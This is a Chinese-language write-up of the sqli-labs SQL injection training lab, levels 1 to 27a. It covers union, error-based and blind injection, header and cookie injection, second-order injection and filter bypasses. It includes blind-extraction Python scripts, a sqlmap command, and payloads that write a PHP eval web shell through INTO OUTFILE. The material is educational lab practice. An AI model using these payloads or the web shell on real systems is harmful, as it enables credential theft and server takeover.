type
Post
status
Published
date
Mar 22, 2022
slug
2022/sqli-labs
summary
因为过于拖拉,断断续续刷了很久才刷完…
tags
Writeup
sqli-labs
category
漏洞靶场
icon
password
前言
好耶✌️!从2021年立下flag的sqli-labs靶场终于给刷完了,不得不说经典永远是经典,边刷边闻到了许多CTF题的味道。去年初的时候就把前20关给刷了,后面跑去刷ctfshow和干其他事情,然后就忘了,直到去年底看到团队师傅SQL注入玩的那么溜,各种bypass waf,于是就想把基础在巩固一波~
在这里顺便安利一波 lcamry 大佬的 mysql注入天书,刷的时候发现网上许多文章也是参考他的来的,然后里面也讲的更细,也有拓展,比网上许多文章写的都好,更像是 sqli-labs 的配套 WriteUp (
环境搭建
在网站解析目录执行:
git clone https://github.com/Audi-1/sqli-labs.git sqli-labs
修改
sql-connections/db-creds.inc
里数据库的连接用户和密码
访问index.html ,点Setup/reset Database for labs 安装即可,如果有报错就根据报错解决,之后就可以愉快的玩耍啦~
mac使用mamp pro的连接数据库的一个小坑,这个要勾上

不然本机用客户端连不上,不知道为啥php里直接连竟然可以,而且是不用指定端口的
less-1 GET 注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
' <payload> --+
获取本表中的字段,到4刚刚好报错
id=2' order by 4 --+

- 关于
-
和-+
疑问:
--
在sql语句中起到注释的作用,按理说--
和--+
作用是一样才对看法:PHP 在接收接收参数时,会对参数进行一次urldecode
如我们在浏览器地址栏输入网址时,会调用类似strip的函数去除首尾的空格,例如下图是可以正常访问的

所以,如果后面如果原本接着字符,以这个举例子是
--'
那么这就是三个字符,后面没有字符 就不是 -- '
这样,MySQL是不会把它解析为注释符号的。 但 URL 里 不能 --
因为会被浏览器之类的替换为空,所以把空格编码一下就是 +
啦!当然这是 get 请求的情况,如果是 post 请求(且Content-Type不为x-www-form-urlencoded或与这个Content-Type类似效果),加
+
就有问题了, +
还是 +
,而不是空格的URL编码,此时应把+
替换为%20
,urldecode后就是空格啦。经测试,一般出现在 HTTP头里的 +
会被 urldecode 为空格然后
--
和
--+
在MySQL中是不一样的,
--
才是注释,
--+
不是注释,

观察4种情况
- 第1种正常,注释后面为空
- 第2种异常,
-+
并非注释,MySQL无法解析,从而抛出异常
- 第3种异常,
-
注释后面如果还有字符,需要加空格
- 第4种正常
所以一般
--
后面都有个 +
或者空格
,防止后面拼接了字符当然常用的注释还有
#

这种注释就不用担心
--
后面有没有紧接着字符啦。
获取本表回显至前端的第x个字段
为接下来的union注入做准备:
union注入时,我们虽然可以通过注入获得想要的信息,但这些信息必须能够回显。例如本例有3个字段,这些字段不是都显示在网页前端的,只有第2和3个字段的查询结果会回显。
因此我们需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与回显的通道。这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如version(),database()),当数据爆破成功后,就会在窗口显示我们想要的结果。
当然这里的 1,2,3 是可以换的,只要自己能辨认出来即可
id=1' and 1=2 union select 1,2,3 --+

可知会回显的为第2和第3个字段
- 关于 and 1=2
使用 and 1=2 是为了让本应正常输出的字段出错,然后达到我们的目的。
例如本例中只能输出一行,但我们需要通过正常查询来闭合,但我们想知道输出的是哪些字段,会被正常输出的所屏蔽。如正常查询:

为达到目的我们需要:

数据库中的返回结果:

获取一下数据库和版本
id=1' and 1=2 union select 1,version(),database() --+

获取所有数据库名
select * from information_schema.schemata

id=1' and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata), 3 --+
获取security库所有表名
select * from information_schema.tables where table_schema='security'

id=1' and 1=2 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 3 --+
爆破security库users表列名
id=1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'), 3 --+
爆破security库users表数据
id=1' and 1=2 union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+

less-2 GET 注入
验证注入点:单引号报错,不用闭合可执行 SQL语句利用闭合方式:
<payload>
与第一关基本一样,就
id
不用闭合直接插入SQL语句即可

猜字段
id=1 order by 4 --+

回显字段位置
id=1 and 1=2 union select 1,2,3 --+

数据库和版本
id=1 and 1=2 union select 1,version(),database() --+

获取所有数据库名
id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

获取security库所有表名
id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

爆破security库users表列名
id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

爆破security库users表数据
id=1 and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

less-3 GET 注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
') <payload> --+
也是闭合符号不一样

猜字段
1') order by 4 --+

爆破数据
id=1') and 1=2 union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+

less-4 GET 注入
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
") <payload> --+
也是闭合符号不一样

猜字段
id=1") order by 4 --+

爆破数据
id=1") and 1=2 union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+

Less-5 GET 报错注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
' <payload> --+
考察点:报错注入通过floor报错 最多回显 64 个字符
推荐阅读:https://blog.csdn.net/weixin_45146120/article/details/100062786 ,报错原理讲的很好!
union select count(*),0, concat(0x3a, (<payload>), 0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取数据库
id=1' union select count(*),0, concat(0x3a,(select database()),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+

执行多条语句
id=1' union select count(*),0, concat(0x3a, (select concat(version,0x3a,database(),0x3a,user(),0x3a)), 0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+

获取表名
id=1' union select count(*),0, concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x3a,floor(rand(0)*2))

获取列名
id=1' union select count(*),0, concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+

从这里可以看出,使用floor报错最多能输出 64 个字符

获取数据
id=1' union select count(*),0, concat(0x3a, (select username from users limit 1), 0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+

不是很能理解,为什么这里用 group_concat 不行
id=1' union select count(*),0, concat(0x3a, (select group_concat(username,password) from users), 0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过 updatexml 报错 最多回显 32 个字符
报错说明:https://www.cnblogs.com/vspiders/p/7400415.html
and updatexml(1,concat(0x7e,(<payload>),0x7e),1) --+
获取数据库
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

获取数据
id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1) --+

由此可以看出,使用floor报错最多能输出 32 个字符

通过 ExtractValue 报错 最多回显 32 个字符
报错说明:https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
and ExtractValue(1, concat(0x7e,(<payload>),0x7e)) --+
获取数据库
id=1' and ExtractValue(1, concat(0x7e,(select database()),0x7e)) --+

获取数据
id=1' ExtractValue(1, concat(0x7e,(select group_concat(id,username, password) from users),0x7e)) --+

由此可以看出,使用 ExtractValue 报错最多能输出 32 个字符

Less-6 GET 报错注入或布尔盲注
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
" <payload> --+
就闭合方式和 Less-5 不一样外,其余都一样
获取数据
id=1" union select count(*),0, concat(0x3a, (select username from users limit 1), 0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a --+

Less-7 GET 注入写 shell
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
')) <payload> --+
根据靶场首页的题目名字,是想让我们试试写shell
写 Shell 即 MySQL 需要对外写文件,但默认 MySQL 是不允许使用
outfile
来导出数据的,先手动在 MySQL 确认一下。show global variables like '%secure%';

MYSQL的特性 secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。
secure-file-priv参数是用来限制LOAD DATA,SELECT ...OUTFILE,and LOAD_FILE()传到哪个指定目录的 当secure_file_priv的值为null,表示限制mysqld不允许导入|导出 当secure_file_prv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制 windows下:修改my.ini 在[mysqld]内加入secure_file_priv = linux下:修改my.cnf 在[mysqld]内加入secure_file_priv = 然后重启mysql
写 Shell
id=1')) union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile '/Applications/MAMP/htdocs/sqli-labs/Less-7/tari.php' --+
这里有个小注意事项,不能直接把
<?php eval($_POST['pwd']);?>
转 16 进制,因为 <?php eval
之间的空格不会保留的。因此要手动加上 20
空格,不然写的 shell 会是 <?phpeval
这样的。
报错不要紧因为这个语句值返回空

看一波这个目录就知道成功写进去了

Less-8 GET 布尔盲注
验证注入点:单引号无回显,两个单引号闭合利用闭合方式:
' <payload> --+
数据库长度
id=1' and length(database()) = 8 --+
数据库名 security

id=1' and ascii(substr((select database()),1,1)) = 115 --+ id=1' and ascii(substr((select database()),2,1)) = 101 --+ id=1' and ascii(substr((select database()),3,1)) = 99 --+ id=1' and ascii(substr((select database()),4,1)) = 117 --+ id=1' and ascii(substr((select database()),5,1)) = 114 --+ id=1' and ascii(substr((select database()),6,1)) = 105 --+ id=1' and ascii(substr((select database()),7,1)) = 116 --+ id=1' and ascii(substr((select database()),8,1)) = 121 --+
注意这里的 substr(
(select database())
,1,1) 第一个参数必须带括号,因为 select 语句返回元组的形式,如果没有括号,则其结果的参数均会作为 substr
的参数代入,从而会报错。获取第一个表的长度,并获取表名 emails

id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 109 --+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)) = 97 --+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)) = 105 --+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)) = 108 --+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)) = 115 --+
获取表数据字段 分别是 2,8
id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1) = 2 --+ id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 1,1) = 8 --+

获取字段名
# id id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)) = 100 --+ # email_id id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),2,1)) = 109 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),3,1)) = 97 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),4,1)) = 105 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),5,1)) = 108 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),6,1)) = 95 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),7,1)) = 105 --+ id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),8,1)) = 100 --+
获取数据
查询表的字段个数
id=1' and (select count(*) from emails) = 8 --+
获取第一个字段数据长度
id=1' and (select length(email_id) from emails limit 0,1) = 16 --+
获取第一个字段数据
# 第一个字段第一个字母是 D id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 --+
写个脚本获取这个字段所以 16 个字符
import requests def get_data(): result = "" url_template = "http://localhost:8890/sqli-labs/Less-8/?id=1' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,17): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的长度等于 831 就中了 if length > 830: result += char print(result) break get_data()

Less-9 GET 时间盲注
验证注入点:
' and sleep(5) --+
利用闭合方式:' <payload> --+
无法查看页面返回情景,所以查询语句正确时,需要通过流程控制来判断进行时间延迟输出判断。
MySQL的 if
if(表达式,真,假)

利用 and 语句的特性,当有一个为假时,后面不用判断
id=1' and <payload> and if(1=1, sleep(5), null) --+
例如猜数据库长度
id=1' and (length(database())) = 8 and if(1=1, sleep(5), null) --+
数据库名第一个字母 s
id=1' and ascii(substr((select database()),1,1)) = 115 and if(1=1, sleep(5), null) --+
查询表字段数
id=1' and (select count(*) from emails) = 7 and if(1=1, sleep(5), null) --+
和 Less-8 获取的数据一样
import time import requests def get_data(): result = "" url_template = "http://localhost:8890/sqli-labs/Less-9/?id=1' and ascii(substr((select email_id from emails limit 0,1),{0},1))={1} and if(1=1, sleep(5), null) --+" chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,17): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) time_start = time.time() _ = requests.get(url) time_diff = time.time() - time_start # 返回时间 > 5s if time_diff > 5: result += char print(result) break get_data()

Less-10 GET 时间盲注
验证注入点:
" and sleep(5) --+
利用闭合方式:" <payload> --+
获取 Less-8 的数据脚本需要改动的地方:
url_template = "http://localhost:8890/sqli-labs/Less-10/?id=1\" and ascii(substr((select email_id from emails limit 0,1),{0},1))={1} and if(1=1, sleep(5), null) --+"
这里在介绍另外一种时间盲注方法
select if( (select(substr((select username from users WHERE username="Dumb" LIMIT 1), 2, 1))="u"), sleep(2), 0 )
- if带括号是函数,不能直接用,所以最开始要拉上个 select
- 如果 if 第一个参数不是表达式,要用括号扩起来
Less-11 POST 注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
admin' <payload> #&passwd=1
如果用
admin' --
注意 --
后面有个空格,或者 --+
也可以,保证HTTP请求包的 Content-Type 是 x-www-form-urlencoded 或Content-Type起到效果类似即可,因为这样包发出时会对POST请求体部分进行url编码。获取列数
uname=admin' order by 2#&passwd=1

爆破数据
# 库 uname=admin' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)#&passwd=1 # 表 uname=admin' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=1 # 字段 uname=admin' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1 # 数据 uname=admin' and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=1

Less-12 POST
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
admin") <payload> #&passwd=1
获取列数
uname=admin") order by 2#&passwd=1
爆破数据
# 库 uname=admin") and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)#&passwd=1 # 表 uname=admin") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=1 # 字段 uname=admin") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1 # 数据 uname=admin") and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=1

Less-13 POST 报错注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
uname=admin') <payload> #&passwd=1
获取数据库
uname=admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1

获取数据
# 表 uname=admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #&passwd=1 # 字段 uname=admin') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 3,1),0x7e),1) #&passwd=1 uname=admin') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 4,1),0x7e),1) #&passwd=1 uname=admin') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 5,1),0x7e),1) #&passwd=1 # 数据 uname=admin') and updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) #&passwd=1

Less-14 POST 报错注入
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
uname=admin" <payload> #&passwd=1
获取数据
uname=admin" and updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) #&passwd=1

Less-15 POST 布尔盲注
验证注入点:万能密码登录成功 → uname=0x74617269’ or 1=1 #&passwd=1利用闭合方式:
uname=admin' <payload> #&passwd=1
要确保 0x74617269 是不存在的,因为用的是 or
, 如果 uname
是存在的就用 and
获取数据库长度
uname=0x74617269' or length(database()) = 8 #&passwd=1
获取数据
查询表的字段个数
uname=0x74617269' or (select count(*) from emails) = 8 #&passwd=1
获取第一个字段数据长度
uname=0x74617269' or (select length(email_id) from emails limit 0,1) = 16 #&passwd=1
获取第一个字段数据
# 第一个字段第一个字母是 D uname=0x74617269' or ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 #&passwd=1
写个脚本获取这个字段所有 16 个字符
import requests def get_data(): result = "" url = "http://localhost:8890/sqli-labs/Less-15/" data_template = { 'uname': '0x74617269\' or ascii(substr((select email_id from emails limit 0,1),{0},1)) = {1} #', 'passwd': '1' } data = { 'uname': '', 'passwd': '1' } chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,17): for char in chars: char_ascii = ord(char) data['uname'] = data_template['uname'].format(i,char_ascii) response = requests.post(url, data) length = len(response.text) #返回的长度等于 1447 就中了 if length > 1447: result += char print(result) break get_data()

Less-16 POST 布尔盲注
验证注入点:万能密码登录成功 → uname=admin") or 1=1#&passwd=1
利用闭合方式:
uname=
0x74617269") <payload> #&passwd=1
获取数据库长度POST
uname=0x74617269") or length(database()) = 8 #&passwd=1
获取第一个字段数据 16 个字符
import requests def get_data(): result = "" url = "http://localhost:8890/sqli-labs/Less-16/" data_template = { 'uname': '0x74617269") or ascii(substr((select email_id from emails limit 0,1),{0},1)) = {1} #', 'passwd': '1' } data = { 'uname': '', 'passwd': '1' } chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,17): for char in chars: char_ascii = ord(char) data['uname'] = data_template['uname'].format(i,char_ascii) response = requests.post(url, data) length = len(response.text) #返回的长度等于 1504 就中了 if length > 1503: result += char print(result) break get_data()
Less-17 UPDATE 报错注入
uname 输入点被转义,update需要一个存在的用户,即 uname 必须是在数据库中存在的。
注入点在 passwd 字段验证注入点:uname=admin&passwd=1’利用闭合方式:
uname=Dhakkan&passwd=1' <payload> #
POST
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
正常报错注入获取数据库

但在获取数据就有点问题了
POST
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#

报错: You can’t specify target table ‘users’ for update in FROM clause
在 MySQL 中,不能在同一个sql语句中,先select同一个表的某些值,然后再update这个表。但 select 的结果可以再通过一个中间表 select 多一次,就可以避免这个错误。顺便还明白了,为什么 sqlmap 的 payload 中那么多个
as
因此重新构造
POST
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e, (select concat(id,username,password) from (select * from users limit 0,1) as res) ,0x7e),1)#
获取成功

Less-18 HTTP头UA INSERT 报错注入
需要正确的帐号密码验证注入点:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.36
'
利用闭合方式:1’ AND AND ’
PHP 里用来获取客户端 IP 的变量
$_SERVER['HTTP_CLIENT_IP']
这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR']
,客户端可以伪造。
$_SERVER['REMOTE_ADDR']
,客户端不能伪造。
不过这里有个很奇怪的地方
payload
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.361' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) AND '
即 默认UA + 利用,但非预期内报错
Truncated incorrect DOUBLE value: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.361'

把 UA 换成数字,不一定是1,0以外的数字基本都可以可以成功利用报错注入
payload
User-Agent: 1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) AND '

但如果把 1 换成 0,就什么都不输出了。

也就是说,UA
'
前包含 正负数字以外 的都不行不是很理解为啥爆破数据User-Agent: 1' AND updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) AND '
Less-19 HTTP头Referer INSERT 报错注入
需要正确的帐号密码验证注入点:Referer: http://sqli-labs:8890/sqli-labs/Less-19/
'
利用闭合方式:Referer: http://sqli-labs:8890/sqli-labs/Less-19/' AND AND '
爆破数据
Referer: 9' AND updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) AND '
Less-20 HTTP头Cookie 联合注入
验证注入点:Cookie: uname=123
'
利用闭合方式:Cookie: uname=123'#
可以直接用联合注入
提取本表字段,到 4 刚刚好报错
Cookie: uname=123' and 1=2 order by 4#
获取表
Cookie: uname=123' and 1=2 union select 1,(select group_concat(table_name separator 0x3c62723e) from information_schema.tables where table_schema=database()),3#
获取字段
Cookie: uname=123' and 1=2 union select 1,(select group_concat(column_name separator 0x3c62723e) from information_schema.columns where table_name='users'),3#
获取数据
Cookie: uname=123' and 1=2 union select 1,(select group_concat(username separator 0x3c62723e) from security.users),(select group_concat(password separator 0x3c62723e) from security.users)#

Less-21 Dump into outfile
验证注入点:Cookie: uname=MSc=(其中
MSc=
为 1'
的 base64编码)利用闭合方式:Cookie: uname=MScpIG9yIDE9MSAj(其中
MScpIG9yIDE9MSAj
为 1') or 1=1 #
的 base64编码 )注意事项
这里不能直接用 –+ ,因为是经过base64编码传输的,解码后传入数据库执行的是 –+,并不会转换为 –空格, –+ MySQL是不认识的,会报错
先判断表字段数,3正常,4报错
1') order by 4#
因后端有base64解码,所以需要编码
MScpIG9yZGVyIGJ5IDQj
写文件
1') union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile '/Users/tari/Sites/tari_local/sqli-labs/Less-21/tari.php'#
base64编码
MScpIHVuaW9uIHNlbGVjdCBudWxsLDB4M2MzZjcwNjg3MDIwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMjc3MDc3NjQyNzVkMjkzYjNmM2UsbnVsbCBpbnRvIG91dGZpbGUgJy9Vc2Vycy90YXJpL1NpdGVzL3RhcmlfbG9jYWwvc3FsaS1sYWJzL0xlc3MtMjEvdGFyaS5waHAnIw==
报错不要紧因为这个语句值返回空

可以正常利用

Less-21 Cookie联合注入
注入点、闭合方式和判断表字段数同 Less-21 Dump into outfile 一致 这里尝试获取数据,与 Less-20 类似,不过要base64编码一下,然后闭合方式不一样
获取数据
1') and 1=2 union select 1,(select group_concat(username separator 0x3c62723e) from security.users),(select group_concat(password separator 0x3c62723e) from security.users)#
base64编码一下
Cookie: uname=MTIzJykgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSBzZXBhcmF0b3IgMHgzYzYyNzIzZSkgZnJvbSBzZWN1cml0eS51c2VycyksKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQgc2VwYXJhdG9yIDB4M2M2MjcyM2UpIGZyb20gc2VjdXJpdHkudXNlcnMpIw==

可以尝试使用 sqlmap base64encode tamper
sqlmap -u "http://tari.local:8890/sqli-labs/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
-flush-session
选项是清除本地的缓存,因为sqlmap扫描结果会在本地缓存,然后下次扫描如果存在缓存会直接调用已扫描的结果。
Less-22 Cookie联合注入
验证注入点:Cookie: uname=MTIzIg== (其中
MTIzIg==
为 1"
的 base64编码) 利用闭合方式:Cookie: uname=MTIzIiBvciAxPTEj (其中 MTIzIiBvciAxPTEj
为 123" or 1=1#
的 base64编码 )利用方式和Less-21类似,只不过闭合方式不同
判断表字段个数,3正常,4报错
1" order by 4#
base64编码一下
Cookie: uname=MSIgb3JkZXIgYnkgNCM=
获取数据
1" and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3#
base64编码一下
Cookie: uname=MSIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCBzZXBhcmF0b3IgMHgzYzYyNzIzZSkgZnJvbSBzZWN1cml0eS51c2VycyksMyM=

突然发现好像数据都连在一起了,通过 concat 加个间隔符
1" and 1=2 union select 1,(select group_concat(concat_ws(0x3a, username,password) separator 0x3c62723e) from security.users),3#

舒服了~
Less-23 GET注入 过滤注释符
验证注入点:id=1’
利用闭合方式:?id=1’ and 1=2 union select 1,2,3 ’
因为本关过滤了注释符,其他都差不多
<?php $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
只要通过单引号把后面闭合了即可,获取数据
?id=1' and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users) '
Less-24 二次注入
本关卡数据入参都有通过
mysql_real_escape_string
进行转义,本站提供了注册、登陆、登陆后修改密码功能关键代码 pass_change.php
if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); ....
虽然SQL特殊字符被转义了,但如果注册时用户名是
admin'#
,那么登陆这个修改密码执行的 SQL 语句就是UPDATE users SET PASSWORD='$pass' where username='admin'#' and ....
则直接修改 admin 的密码,就能直接登陆管理员账号了
Less-25 双写绕过or和and
验证注入点:id=1’
利用闭合方式:?id=1’ anandd 1=2 union select 1,2,3 ’
这关会把
or
和 and
替换为空,通过双写绕过即可,或者通过等价符合 &&
和 ||
绕过获取数据
?id=1' anandd 1=2 union select 1,2,(select group_concat(username,passwoorrd separatoorr 0x3c62723e) from security.users) '
Less-25a 双写绕过or和and
验证注入点:?id=1%20anandd%20sleep(5)%20#
利用闭合方式:?id=1 anandd 1=2 union select 1,2,3 #
与Less-25一致,只是闭合方式不一样
获取数据
?id=1 anandd 1=2 union select 1,2,(select group_concat(username,passwoorrd separatoorr 0x3c62723e) from security.users)
Less-26 空格绕过
验证注入点:id=1’
利用闭合方式:?id=1%27%0banandd%0b1=2%0bunion%0bselect%0b1,2,3%0b%27
除了Less-23 Less-25 过滤的,还过滤了空格,空格可以通过以下符号代替
符号 | 说明 |
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格(和普通空格不一样) |
试了一下,最终只有
%0b
和 %a0
是可用的,注意,%a0
我在mac(10.15.7)上用不了获取数据
?id=1%27%0banandd%0b1=2%0bunion%0bselect%0b1,2,(select%0bgroup_concat(username,passwoorrd%0bseparatoorr%0b0x3c62723e)%0bfrom%0bsecurity.users)%0b%27
Less-26a 空格绕过
验证注入点:?id=1’)%a0anandd%a0sleep(5)%a0oorr%a0(’
利用闭合方式:?id=1%27)%a0anandd%a01=2%a0union%a0select%a01,2,3%a0oorr%a0(%27
这关的注入点验证和闭合方式和之前的有很点不同,获取数据也和之前的有所不同,因为注释符也是被过滤了的,然后闭合方式是
('')
,我们无法直接通过 1') ('
闭合,因为这样会多出一个 ('')
导致 sql 语法错误MySQL root@localhost:security> select * from users where id=('1') ('') (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '('')' at line 1")
需要构造一下,使得后面的
('')
无作用,即MySQL root@localhost:security> select * from users where id=('1') or ('') +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set Time: 0.010s
这里不能用
and ('')
因为后面为非(空),查询不到数据,用 or ('')
就行最终获取数据查询语句,结合一下前面的绕过就OK了~
?id=1%27)%a0aandnd%a01=2%a0union%a0select%a01,(select%a0group_concat(username,passwoorrd%a0separatoorr%a00x3c62723e)%a0from%a0security.users),3%a0oorr%a0(%27
Less-27 union过滤
验证注入点:?id=1’
利用闭合方式:?id=1’%0a%26%261=2%0auNion%0aseLect%0a1,2,3%0a’
过滤比较敷衍,没有区分大小写,而且也可以通过双写绕过,这里尝试了一下
%0a
突然也可以替换空格了获取数据
?id=1'%0A%26%26%0A1=2%0AuNion%0AseLect%0A1,group_concat(username),group_concat(password)%0Afrom%0Asecurity.users%0Awhere%0A1%26%26%0A'1
不知为啥下面分隔符没有效果
?id=1%27%0a%26%26%0a1=2%0auNion%0aseLect%0a1,2,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users)%0a%27
Less-27a union过滤
验证注入点:?id=1%22%26%26sleep(5)%7c%7c%22
利用闭合方式:?id=1%22%26%261%3d2%a0uNion%a0seLect%a01,2,3%7c%7c%22
